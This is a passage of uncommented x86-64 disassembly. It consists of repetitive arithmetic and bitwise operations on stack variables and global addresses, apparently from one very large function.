mov byte [0x14019bff3], al
lea rax, [0x14019d8e0]
mov qword [rsp + 0xd840], rax
movzx eax, word [rsp + 0x13e8]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd510]
mov word [rcx], ax
mov rax, qword [rsp + 0xa958]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
and eax, ecx
mov rcx, qword [rsp + 0xc9b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x48d0]
mov dword [rsp + 0x4fbc], eax
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [rsp + 0xb878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc660]
mov dword [rcx], eax
lea rax, [rsp + 0x4e2c]
mov qword [rsp + 0xd848], rax
mov eax, dword [rsp + 0x4574]
mov ecx, dword [rsp + 0x4448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc88]
mov dword [rcx], eax
lea rax, [rsp + 0x4b34]
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xbb08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0xd450]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
add eax, ecx
mov word [0x14019bfd0], ax
mov eax, dword [rsp + 0x4b78]
mov ecx, dword [rsp + 0x4898]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d1c]
mov dword [rsp + 0x4fc0], eax
mov rax, qword [rsp + 0xad30]
mov eax, dword [rax]
mov ecx, dword [0x14019bfe4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9a8]
mov dword [rcx], eax
lea rax, [rsp + 0x4b2c]
mov qword [rsp + 0xd858], rax
mov rax, qword [rsp + 0xc888]
movzx eax, word [rax]
movzx ecx, word [0x14019bfd4]
sub eax, ecx
mov word [rsp + 0x12c4], ax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov byte [rsp + 0x1a3], al
movzx eax, word [rsp + 0x11ac]
mov word [rsp + 0x1498], ax
mov rax, qword [rsp + 0xbcb0]
movsx eax, byte [rax]
movsx ecx, byte [0x14019bf9f]
sar eax, cl
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0xcc90]
mov eax, dword [rax]
mov dword [0x14019e0bc], eax
mov rax, qword [rsp + 0xc500]
mov eax, dword [rax]
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0xd0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb898]
mov word [rcx], ax
movzx eax, byte [0x14019bf67]
movzx ecx, byte [rsp + 0x2b1]
shl eax, cl
mov byte [rsp + 0x238], al
lea rax, [rsp + 0x475c]
mov qword [rsp + 0xd860], rax
mov eax, dword [rsp + 0x4b5c]
mov ecx, dword [rsp + 0x4604]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
lea rax, [0x14019c070]
mov qword [rsp + 0xd868], rax
mov rax, qword [rsp + 0xcbd8]
mov rcx, qword [rsp + 0xd2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd7b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
mov rcx, qword [0x14019daf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x241], al
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
add eax, ecx
mov word [0x14019d9f0], ax
lea rax, [rsp + 0x41d0]
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0xabc8]
mov ecx, dword [0x14019e040]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xc478]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ec4], eax
mov rax, qword [rsp + 0xbb68]
mov ecx, dword [rsp + 0x45b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc0b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0xc9f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov byte [rcx], al
movsx eax, word [rsp + 0xafc]
mov rcx, qword [rsp + 0xae38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1234], ax
movzx eax, byte [0x14019bfaa]
mov byte [rsp + 0x2bf], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1064]
sub eax, ecx
mov word [0x14019c110], ax
mov rax, qword [rsp + 0xcb88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4228]
shr eax, cl
mov dword [rsp + 0x4aa4], eax
mov rax, qword [0x14019dcd8]
mov eax, dword [rax]
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xb568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
xor eax, ecx
mov byte [rsp + 0x176], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [0x14019c0e8]
or eax, ecx
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov dword [rsp + 0x4fd0], eax
mov rax, qword [rsp + 0xbd38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb8c8]
mov qword [rsp + 0xd878], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd878]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x47dc], eax
lea rax, [rsp + 0x3c74]
mov qword [rsp + 0xd880], rax
mov rax, qword [rsp + 0xb948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d4], eax
movzx eax, word [rsp + 0xec8]
movzx ecx, word [rsp + 0xf5c]
sub eax, ecx
mov rcx, qword [0x14019db10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov rcx, qword [rsp + 0xaa28]
mov byte [rcx], al
lea rax, [rsp + 0x4280]
mov qword [rsp + 0xd888], rax
mov rax, qword [rsp + 0xbdf8]
mov rcx, qword [rsp + 0xc4d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4804], eax
movzx eax, byte [rsp + 0x2bd]
mov byte [rsp + 0x2c0], al
movsx eax, word [rsp + 0x13b8]
movsx ecx, word [rsp + 0xd44]
sub eax, ecx
mov rcx, qword [rsp + 0xa5f8]
mov word [rcx], ax
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0xd890], rax
movzx eax, byte [rsp + 0x16b]
movzx ecx, byte [rsp + 0x256]
and eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0xae40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed0], eax
mov eax, dword [rsp + 0x4ee0]
mov ecx, dword [rsp + 0x47f0]
add ecx, eax
mov eax, ecx
mov dword [0x14019c114], eax
lea rax, [0x14019d920]
mov qword [rsp + 0xd898], rax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x486c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0xb208]
mov eax, dword [rax]
mov dword [rsp + 0x4fd4], eax
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov rcx, qword [rsp + 0xb818]
mov byte [rcx], al
movzx eax, word [rsp + 0x1214]
movzx ecx, word [rsp + 0xf80]
sar eax, cl
mov rcx, qword [rsp + 0xc338]
mov word [rcx], ax
mov rax, qword [rsp + 0xd3b8]
mov eax, dword [rax]
mov dword [rsp + 0x4fd8], eax
mov rax, qword [rsp + 0xcdd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a58]
shl eax, cl
mov rcx, qword [rsp + 0xcbc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf70]
mov eax, dword [rax]
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49ec]
xor ecx, eax
mov eax, ecx
mov dword [0x14019c118], eax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
or eax, ecx
mov rcx, qword [rsp + 0xb968]
mov byte [rcx], al
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0xf08]
and eax, ecx
mov word [rsp + 0x12a8], ax
lea rax, [rsp + 0x148c]
mov qword [rsp + 0xd8a0], rax
movsx eax, byte [0x14019900b]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb018]
mov byte [rcx], al
mov rax, qword [rsp + 0xb4f0]
mov rcx, qword [rsp + 0xa4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e1c], eax
mov rax, qword [rsp + 0xab38]
mov ecx, dword [rsp + 0x4944]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46b8], eax
movzx eax, byte [rsp + 0x297]
mov rcx, qword [rsp + 0xd2a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x1080]
mov qword [rsp + 0xd8a8], rax
mov rax, qword [rsp + 0xcc08]
mov rcx, qword [0x14019dc70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019dbe8], eax
mov rax, qword [rsp + 0xb038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4488]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd88]
mov dword [rcx], eax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xd8b0], rax
mov rax, qword [rsp + 0xcdd0]
mov ecx, dword [rsp + 0x4210]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0xd1e0]
movzx eax, word [rax]
mov word [rsp + 0x149c], ax
mov rax, qword [rsp + 0xcc20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcc10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc358]
mov byte [rcx], al
mov eax, dword [rsp + 0x4920]
mov ecx, dword [rsp + 0x4784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4acc], eax
lea rax, [rsp + 0x45d4]
mov qword [rsp + 0xd8b8], rax
mov eax, dword [rsp + 0x4698]
mov ecx, dword [rsp + 0x4eb4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c8], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f08]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019da70]
mov dword [rcx], eax
lea rax, [rsp + 0x4ab0]
mov qword [rsp + 0xd8c0], rax
mov rax, qword [rsp + 0xbaf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
shl eax, cl
mov rcx, qword [rsp + 0xabd8]
mov byte [rcx], al
mov rax, qword [0x14019def8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13cc]
sar eax, cl
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xd8c8], rax
movzx eax, word [rsp + 0x133c]
mov rcx, qword [0x14019dfc8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
mov eax, dword [rsp + 0x4888]
mov dword [rsp + 0x4fe0], eax
mov eax, dword [rsp + 0x41f4]
mov ecx, dword [rsp + 0x4288]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0x1000]
mov word [0x14019e0c0], ax
lea rax, [rsp + 0x44a8]
mov qword [rsp + 0xd8d0], rax
mov rax, qword [rsp + 0xd850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4748]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47e8], eax
mov eax, dword [rsp + 0x4820]
mov dword [rsp + 0x4fe4], eax
mov eax, dword [rsp + 0x418c]
mov ecx, dword [rsp + 0x47e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44f8], eax
mov rax, qword [rsp + 0xc7b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2c1], al
movzx eax, word [rsp + 0x13bc]
movzx ecx, word [0x14019bf1c]
add eax, ecx
mov rcx, qword [rsp + 0xd2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x489c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3460], eax
mov eax, dword [rsp + 0x4b38]
mov dword [rsp + 0x4fe8], eax
mov rax, qword [rsp + 0xd6c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa8]
and eax, ecx
mov byte [str.Sb], al
mov rax, qword [rsp + 0xbf78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
add eax, ecx
mov word [rsp + 0x13fc], ax
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xd8d8], rax
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcf18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4bec]
movzx ecx, al
mov eax, dword [rsp + 0x4ed0]
shl eax, cl
mov dword [rsp + 0x4a54], eax
lea rax, [rsp + 0x33f0]
mov qword [rsp + 0xd8e0], rax
mov rax, qword [rsp + 0xc4f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4950]
sar eax, cl
mov dword [rsp + 0x497c], eax
lea rax, [rsp + 0x3e18]
mov qword [rsp + 0xd8e8], rax
mov eax, dword [rsp + 0x4438]
mov ecx, dword [rsp + 0x4d48]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb400]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb520]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd568]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1044], ax
lea rax, [rsp + 0x162]
mov qword [0x14019e0c8], rax
mov eax, dword [rsp + 0x4494]
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0xc518]
mov rcx, qword [rsp + 0xd430]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcde8]
mov dword [rcx], eax
lea rax, [rsp + 0x4e10]
mov qword [rsp + 0xd8f0], rax
mov rax, qword [rsp + 0xc130]
mov ecx, dword [rsp + 0x3f34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fcc], eax
movzx eax, word [rsp + 0x1224]
movzx ecx, word [rsp + 0x1208]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2c2], al
mov rax, qword [rsp + 0xb890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1140]
sub eax, ecx
mov word [rsp + 0x1180], ax
mov rax, qword [0x14019d950]
movzx eax, byte [rax]
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0xc9b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a00]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4478]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd7c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1260]
mov qword [rsp + 0xd8f8], rax
mov rax, qword [rsp + 0xc4b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov eax, dword [rsp + 0x4940]
mov ecx, dword [rsp + 0x4330]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc658]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c94]
mov ecx, dword [0x14019dcb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a84], eax
mov eax, dword [rsp + 0x4240]
mov rcx, qword [rsp + 0xc258]
mov qword [rsp + 0xd900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd900]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd390]
mov dword [rcx], eax
mov rax, qword [0x14019d8a8]
mov eax, dword [rax]
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov word [rsp + 0x1304], ax
lea rax, [rsp + 0x26f]
mov qword [0x14019e0d0], rax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [0x14019bf74]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41c4], eax
lea rax, [rsp + 0x4520]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xd820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x488c], eax
mov rax, qword [rsp + 0xc9c0]
mov eax, dword [rax]
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x4e80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x483c], eax
mov rax, qword [rsp + 0xa818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
add eax, ecx
mov byte [rsp + 0x1bc], al
movzx eax, word [rsp + 0x1240]
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x255]
and eax, ecx
mov rcx, qword [rsp + 0xb778]
mov byte [rcx], al
movzx eax, word [rsp + 0xf10]
movzx ecx, word [rsp + 0xf38]
sub eax, ecx
mov rcx, qword [0x14019e098]
mov word [rcx], ax
mov eax, dword [rsp + 0x4c74]
mov dword [rsp + 0x4ff8], eax
mov rax, qword [rsp + 0xa870]
mov ecx, dword [rsp + 0x3c7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49e4], eax
movzx eax, word [rsp + 0x1184]
mov rcx, qword [rsp + 0xd6a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x107c], ax
movzx eax, byte [0x14019d7e4]
mov byte [rsp + 0x2c4], al
mov rax, qword [rsp + 0xbc60]
mov rcx, qword [rsp + 0xb268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f0c], eax
lea rax, [rsp + 0x47e4]
mov qword [rsp + 0xd910], rax
mov eax, dword [0x14019dbb8]
mov ecx, dword [rsp + 0x4554]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4310], eax
lea rax, [rsp + 0x4960]
mov qword [rsp + 0xd918], rax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xcaf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c11c], ax
movzx eax, byte [rsp + 0x265]
movzx ecx, byte [0x14019bf7e]
sub eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [rsp + 0xd368]
mov rcx, qword [rsp + 0xb158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb528]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd600]
mov eax, dword [rax]
mov dword [rsp + 0x4ffc], eax
mov rax, qword [0x14019de78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd840]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1148], ax
movzx eax, byte [rsp + 0x2b7]
mov byte [rsp + 0x2c5], al
movzx eax, byte [rsp + 0x1a5]
mov rcx, qword [rsp + 0xc468]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x189], al
movzx eax, word [rsp + 0x1258]
movzx ecx, word [rsp + 0x1184]
xor eax, ecx
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0xcc30]
mov eax, dword [rax]
mov dword [rsp + 0x5000], eax
mov eax, dword [rsp + 0x4644]
movzx ecx, al
mov eax, dword [rsp + 0x4b24]
shl eax, cl
mov rcx, qword [0x14019e088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd860]
mov rcx, qword [rsp + 0xaa18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0xbb28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ed4], eax
mov eax, dword [0x14019c058]
mov ecx, dword [rsp + 0x4ff0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb600]
mov word [rcx], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xd920], rax
mov eax, dword [rsp + 0x4858]
mov ecx, dword [rsp + 0x43d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ac8], eax
lea rax, [rsp + 0x4250]
mov qword [rsp + 0xd928], rax
mov rax, qword [rsp + 0xb848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c34], eax
mov rax, qword [0x14019e080]
mov ecx, dword [rsp + 0x4fc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c120], eax
lea rax, [rsp + 0x1d9]
mov qword [rsp + 0xd930], rax
mov rax, qword [rsp + 0xd2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x134c]
sub eax, ecx
mov rcx, qword [rsp + 0xd318]
mov word [rcx], ax
mov rax, qword [0x14019de60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x278]
add eax, ecx
mov byte [rsp + 0x25b], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xd938], rax
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [rsp + 0xb1d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd128]
mov dword [rcx], eax
lea rax, [rsp + 0x49d8]
mov qword [rsp + 0xd940], rax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1e2]
or eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0xc150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc970]
mov qword [rsp + 0xd948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd948]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019c09c], eax
lea rax, [rsp + 0x3388]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xbba0]
mov rcx, qword [0x14019dd20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0xc1d8]
mov eax, dword [rax]
mov dword [rsp + 0x5004], eax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x2c2]
add eax, ecx
mov byte [rsp + 0x241], al
movzx eax, word [rsp + 0x1128]
movzx ecx, word [0x14019c07c]
add eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0xcaf0]
mov eax, dword [rax]
mov dword [rsp + 0x5008], eax
mov eax, dword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x48b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa698]
mov dword [rcx], eax
lea rax, [rsp + 0x46e8]
mov qword [rsp + 0xd958], rax
lea rax, [0x14019bfbc]
mov qword [0x14019e0d8], rax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x489c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x185]
and eax, ecx
mov rcx, qword [rsp + 0xc858]
mov byte [rcx], al
mov rax, qword [0x14019dde0]
movzx eax, word [rax]
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b0]
sub eax, ecx
mov word [rsp + 0x10a8], ax
lea rax, [rsp + 0x171]
mov qword [rsp + 0xd960], rax
mov rax, qword [rsp + 0xcd08]
mov rcx, qword [rsp + 0xab08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x4c9c]
mov qword [rsp + 0xd968], rax
movzx eax, byte [rsp + 0x189]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0xce0]
movzx ecx, word [rsp + 0xf08]
sub eax, ecx
mov rcx, qword [0x14019d910]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd08]
mov rcx, qword [rsp + 0xaf08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov dword [rcx], eax
lea rax, [rsp + 0x4ad0]
mov qword [rsp + 0xd970], rax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4198]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd6f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dc8]
mov dword [rsp + 0x500c], eax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca70]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xca30]
mov word [rcx], ax
movzx eax, byte [0x140199009]
mov rcx, qword [rsp + 0xbe68]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb708]
mov byte [rcx], al
lea rax, [rsp + 0x472c]
mov qword [rsp + 0xd978], rax
mov rax, qword [rsp + 0xd760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f34], eax
movzx eax, byte [rsp + 0x28b]
mov byte [0x14019d806], al
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0xb3d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb320]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb860]
mov word [rcx], ax
lea rax, [rsp + 0x4148]
mov qword [rsp + 0xd988], rax
mov eax, dword [rsp + 0x4924]
mov ecx, dword [rsp + 0x3868]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c3c], eax
mov rax, qword [0x14019d828]
mov eax, dword [rax]
mov dword [rsp + 0x5010], eax
mov eax, dword [rsp + 0x4b6c]
mov ecx, dword [rsp + 0x4d1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a38], eax
lea rax, [rsp + 0x4f1c]
mov qword [rsp + 0xd990], rax
movzx eax, word [rsp + 0xbb8]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0xc318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17c]
and eax, ecx
mov byte [0x14019bfab], al
mov rax, qword [0x14019d820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aec], eax
lea rax, [rsp + 0x4344]
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xb7f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4824]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb408]
mov dword [rcx], eax
lea rax, [rsp + 0x4234]
mov qword [rsp + 0xd9a0], rax
mov rax, qword [0x14019e098]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa8], ax
